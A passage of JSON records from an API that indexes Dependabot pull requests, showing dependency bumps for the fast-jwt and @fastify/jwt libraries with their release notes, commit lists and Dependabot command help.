security fix PRs for this repo from the [Security Alerts page](https://github.com/khulnasoft/pkg.khulnasoft.com/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/khulnasoft/pkg.khulnasoft.com/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/khulnasoft%2Fpkg.khulnasoft.com/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"},{"uuid":"2893731500","node_id":"PR_kwDOKs7GSs6setas","number":30,"state":"open","title":"chore(deps): bump fast-jwt and @fastify/jwt","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":0,"pull_request":true,"closed_at":null,"author_association":"NONE","state_reason":null,"created_at":"2025-10-07T12:01:17.000Z","updated_at":"2025-10-07T12:01:18.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","repository_url":"https://github.com/nearform/fast-jwt","old_version":"4.0.5","new_version":"6.0.2"},{"name":"@fastify/jwt","repository_url":"https://github.com/fastify/fastify-jwt","old_version":"7.2.4","new_version":"10.0.0"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) and [@fastify/jwt](https://github.com/fastify/fastify-jwt). These dependencies needed to be updated together.\nUpdates `fast-jwt` from 4.0.5 to 6.0.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.1 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/557\"\u003enearform/fast-jwt#557\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/558\"\u003enearform/fast-jwt#558\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Add error handling section with examples by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/561\"\u003enearform/fast-jwt#561\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix: error constructor in declaration file by \u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/atlowChemi\"\u003e\u003ccode\u003e@​atlowChemi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/562\"\u003enearform/fast-jwt#562\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.1...v6.0.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v6.0.0 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/554\"\u003enearform/fast-jwt#554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeature: support negative expiresIn when signing tokens by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/556\"\u003enearform/fast-jwt#556\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.0.0...v6.0.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.0.0\u003c/h2\u003e\n\u003ch2\u003eBREAKING CHANGES\u003c/h2\u003e\n\u003cp\u003eThis is a semver major release containing breaking changes to address more thoroughly the security vulnerability fixed in \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v5.0.6\"\u003ev5.0.6\u003c/a\u003e, which only fixed the vulnerability without introducing breaking changes.\u003c/p\u003e\n\u003cp\u003eThis release takes it one step further by adhering more closely to the \u003ca href=\"https://datatracker.ietf.org/doc/html/rfc7519\"\u003eJWT specification\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eMore specifically, verification now expects all claims except for the \u003ccode\u003eaud\u003c/code\u003e claim to be single values, instead of supporting arrays of values.\u003c/p\u003e\n\u003cp\u003eThis is a breaking change because JWTs containing claims in array format (with the exception of \u003ccode\u003eaud\u003c/code\u003e), now cause verification errors, while they were previously allowed.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[OPTIC-RELEASE-AUTOMATION] release/v5.0.6 by \u003ca href=\"https://github.com/optic-release-automation\"\u003e\u003ccode\u003e@​optic-release-automation\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/551\"\u003enearform/fast-jwt#551\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat!: align claim validation to specification by \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/553\"\u003enearform/fast-jwt#553\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v5.0.6...v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v5.0.6...v6.0.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev5.0.6\u003c/h2\u003e\n\u003ch2\u003eSECURITY RELEASE\u003c/h2\u003e\n\u003cp\u003eThis release contains a fix for \u003ca href=\"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\"\u003ehttps://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eUpgrading is strongly recommended.\u003c/p\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/tibrn\"\u003e\u003ccode\u003e@​tibrn\u003c/code\u003e\u003c/a\u003e for reporting, and \u003ca href=\"https://github.com/agubler\"\u003e\u003ccode\u003e@​agubler\u003c/code\u003e\u003c/a\u003e for fixing it.\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/56f00ffdc2e8b55bd06727f64e0ee3bbae8d2cc4\"\u003e\u003ccode\u003e56f00ff\u003c/code\u003e\u003c/a\u003e Release v6.0.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f28ebf934ccbf894600437886248f3d147e90953\"\u003e\u003ccode\u003ef28ebf9\u003c/code\u003e\u003c/a\u003e Fix: error constructor in declaration file (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/562\"\u003e#562\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/2181bf1e218088a8b174b1f32902ebcb1ae5e335\"\u003e\u003ccode\u003e2181bf1\u003c/code\u003e\u003c/a\u003e docs: Add error handling section with examples (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/561\"\u003e#561\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/62341114debc84b676fab3cc7bbd9d30a7b36c20\"\u003e\u003ccode\u003e6234111\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/558\"\u003e#558\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/c298121e818044bd5f1bc6f1f42bf55d6a35cad4\"\u003e\u003ccode\u003ec298121\u003c/code\u003e\u003c/a\u003e Release v6.0.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/557\"\u003e#557\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/17fd233575aac4377685b67d642cb17acab89e72\"\u003e\u003ccode\u003e17fd233\u003c/code\u003e\u003c/a\u003e feature: support negative expiresIn when signing tokens (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/556\"\u003e#556\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/438e18d0b04d47f8400aedb17abc945f0b34c362\"\u003e\u003ccode\u003e438e18d\u003c/code\u003e\u003c/a\u003e Release v6.0.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/554\"\u003e#554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/c4d4580cf025f9cffe97367363ed0a4f6dd2129e\"\u003e\u003ccode\u003ec4d4580\u003c/code\u003e\u003c/a\u003e feat!: align claim validation to specification (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/553\"\u003e#553\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/a8c60996e5e2135f47b2de4bfec711ee3198c842\"\u003e\u003ccode\u003ea8c6099\u003c/code\u003e\u003c/a\u003e Release v5.0.6 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/551\"\u003e#551\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd\"\u003e\u003ccode\u003ecc26b1d\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v4.0.5...v6.0.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@fastify/jwt` from 7.2.4 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify-jwt/releases\"\u003e\u003ccode\u003e@​fastify/jwt\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.0.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBreaking changes\u003c/h3\u003e\n\u003cp\u003ebuild(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/374\"\u003efastify/fastify-jwt#374\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/releases/tag/v6.0.0\u003c/a\u003e for details on how it might affect you.\u003c/p\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cp\u003echore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/379\"\u003efastify/fastify-jwt#379\u003c/a\u003e)\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003etest: migrate to node test runner by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/370\"\u003efastify/fastify-jwt#370\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/371\"\u003efastify/fastify-jwt#371\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: capture missingRequiredClaim errors and map to 401  by \u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Improve performance by caching verifier (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/360\"\u003efastify/fastify-jwt#360\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(package): add funding and contribs by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/357\"\u003efastify/fastify-jwt#357\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use optional chaining by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/359\"\u003efastify/fastify-jwt#359\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: prefix unused params with underscores by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/361\"\u003efastify/fastify-jwt#361\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(readme): spelling and grammar fixes by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/362\"\u003efastify/fastify-jwt#362\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump fastify/workflows from 5.0.0 to 5.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/349\"\u003efastify/fastify-jwt#349\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update readme to clarify fastify version compatibility by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/350\"\u003efastify/fastify-jwt#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​fastify/cookie\u003c/code\u003e from 10.0.1 to 11.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/351\"\u003efastify/fastify-jwt#351\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Async key provider and errors should be resolved internally -- dynamic JWTs in tests by \u003ca href=\"https://github.com/jmjf\"\u003e\u003ccode\u003e@​jmjf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/338\"\u003efastify/fastify-jwt#338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: remove trailing whitespace by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/352\"\u003efastify/fastify-jwt#352\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/3567a1756198819f8142a961136d403d242f5847\"\u003e\u003ccode\u003e3567a17\u003c/code\u003e\u003c/a\u003e Prepare to release 10.0.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/e7580622518dbf8366b4d8f4c81e6c1e0d41e6db\"\u003e\u003ccode\u003ee758062\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.16.0 to 24.0.10 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/380\"\u003e#380\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/870af5b1477e58ee91ed90b285d95ef7f94de70b\"\u003e\u003ccode\u003e870af5b\u003c/code\u003e\u003c/a\u003e chore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/379\"\u003e#379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/4cbf5a541e3919b9e8ced30ce764095620a6bd78\"\u003e\u003ccode\u003e4cbf5a5\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/375\"\u003e#375\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/89aad693226de097d2e53623678854caedc31cfe\"\u003e\u003ccode\u003e89aad69\u003c/code\u003e\u003c/a\u003e build(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/374\"\u003e#374\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/8932cc9c99aa212fb469f69f5979c5c733f0df1c\"\u003e\u003ccode\u003e8932cc9\u003c/code\u003e\u003c/a\u003e ci: restore job level permissions (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/373\"\u003e#373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/09b5810e6e93a7e119632ed276e460bdf39cda76\"\u003e\u003ccode\u003e09b5810\u003c/code\u003e\u003c/a\u003e ci: set permissions at workflow level (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/372\"\u003e#372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/0811cf5953d1052e1543c7c2c572035dca962c1b\"\u003e\u003ccode\u003e0811cf5\u003c/code\u003e\u003c/a\u003e Bumped v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/523e7521b9b90f91335d9e40c9dd89a0064bfb32\"\u003e\u003ccode\u003e523e752\u003c/code\u003e\u003c/a\u003e fix: capture missingRequiredClaim errors and map to 401  (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/369\"\u003e#369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/2afec0298f85e557c32ecd8c69d6242aeefd9937\"\u003e\u003ccode\u003e2afec02\u003c/code\u003e\u003c/a\u003e perf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/371\"\u003e#371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v7.2.4...v10.0.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~kibertoad\"\u003ekibertoad\u003c/a\u003e, a new releaser for \u003ccode\u003e@​fastify/jwt\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Rassis7/ollo-link-shortener/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Rassis7/ollo-link-shortener/pull/30","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Rassis7%2Follo-link-shortener/issues/30","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/30/packages"}],"issue_packages":[{"old_version":"6.2.2","new_version":"6.2.4","update_type":"patch","path":null,"pr_created_at":"2026-05-08T16:57:39.000Z","version_change":"6.2.2 → 6.2.4","issue":{"uuid":"4408009032","node_id":"PR_kwDORuih1c7ZnXcN","number":183,"state":"closed","title":"chore(deps): bump fast-jwt from 6.2.2 to 6.2.4","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-10T01:11:38.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-08T16:57:39.000Z","updated_at":"2026-05-10T01:11:49.000Z","time_to_close":116039,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.2.2","new_version":"6.2.4","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.2.2 to 6.2.4.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/610\"\u003enearform/fast-jwt#610\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump typescript from 5.9.3 to 6.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/604\"\u003enearform/fast-jwt#604\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) by \u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 